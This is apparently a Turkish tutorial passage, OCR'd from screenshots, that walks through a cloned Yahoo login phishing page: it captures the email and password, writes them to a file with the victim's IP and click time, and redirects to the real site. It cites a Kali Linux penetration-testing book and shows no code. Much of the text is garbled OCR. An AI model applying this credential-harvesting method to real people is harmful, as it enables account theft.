am sicak haberler, finans, spor, muzik, sinema ve daha bir ok adnin@includearmpuiccon
- konu ve alanda bilgiler. Internet'ten daha fazlasini;
[ yasamdan daha fazlasini alacaksiniz. “
@ v Girig yaparken sorun mu
— Girig yapmis olarak yasiyorsunuz?
& kalin -
[ @ Hesap giivenligi konusu
Hesap giivenligi konusu
hakkinda daha fazla bilgi.
Potansiyel olarak etkilenmis
— kullanicilar hakkindaki
. bildirimiz.
= Hesabimz vok mu? Kaydol
' AB Yasasi: Giris yaparak Yahoonun mraymm ier yerlestimmesini kabul ediyorum.

Email adresi session'a konur ve kullanici ikinci klon sayfaya yonlendirilir.

Ikinci Klon Sayfaya Sifre Girilir:
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Yardim

YAHOQO!

TURKIYE
Yahoo, kendi dilnyanizda sizin i¢in en 6nemli seylere
ulagsmanizi kolaylastirir. Giris

Sinifinin en iyisi Yahoo Mail, yerel, ulusal ve diinyadan
sicak haberler, finans, spor, muzik, sinema ve daha bir gok
konu ve alanda bilgiler. Internet'ten daha fazlasini;

yasamdan daha fazlasini alacaksiniz.

sifre123|

o Girig yaparken sorun mu
Girig yapmig olarak yasiyorsunuz?
kalin

@ Hesap giivenligi konusu

Hesap giivenligi konusu
hakkinda daha fazla bilgi.

Potansiyel olarak etkilenmis
kullanicilar hakkindaki
bildirimiz.

Hesabiniz yok mu? Kaydol

AB Yasasi: Girig yaparak Yahoonun tarayicima

ler yerlegtimmesini kabul ediyorum

Sifre bilgisi session'a konur, tiim session'lar dosyaya yazdirilir ve kullanici orijinal login sayfasina
yonlendirilir.

Orijinal Yahoo Login Sayfasi1 Goriintiilenir:
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Girig

E'[)OEIE\'TIZI girin

™ Girig yaparken sorun mu
Girig yapmig olarak yasglyorsunuz?
kalin o
@ Hesap giivenligi konusu
Hesap guvenligi konusu
|_| hakkinda daha fazla bilgi
s
Potansiyel olarak etkilenmig
— kullanicilar hakkindaki
. bildirimiz
E iicretsiz kargo
e = Hesabiniz vok mu? Kaydol
] A8 vasast: Girs yaparak vahooun tarayicima ¢ yerlegtirmesini kabul ediyorum.

Waiting for googleads.g.doubleclick.net... sanlar|

Login Bilgileri Dosyaya Gelir:
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Kurbanin IP Adresi : 178.233.170.175
Linke Tiklama Zamani : 05.12.16 t 03:00:46
Yahoo Mail'i : admin@includekarabulgcom
Yahoo Sifresi : sifre123

Yararlanilan Kaynaklar

Web Penetration Testing in Kali Linux, pg. 49-51

(Benim Not)



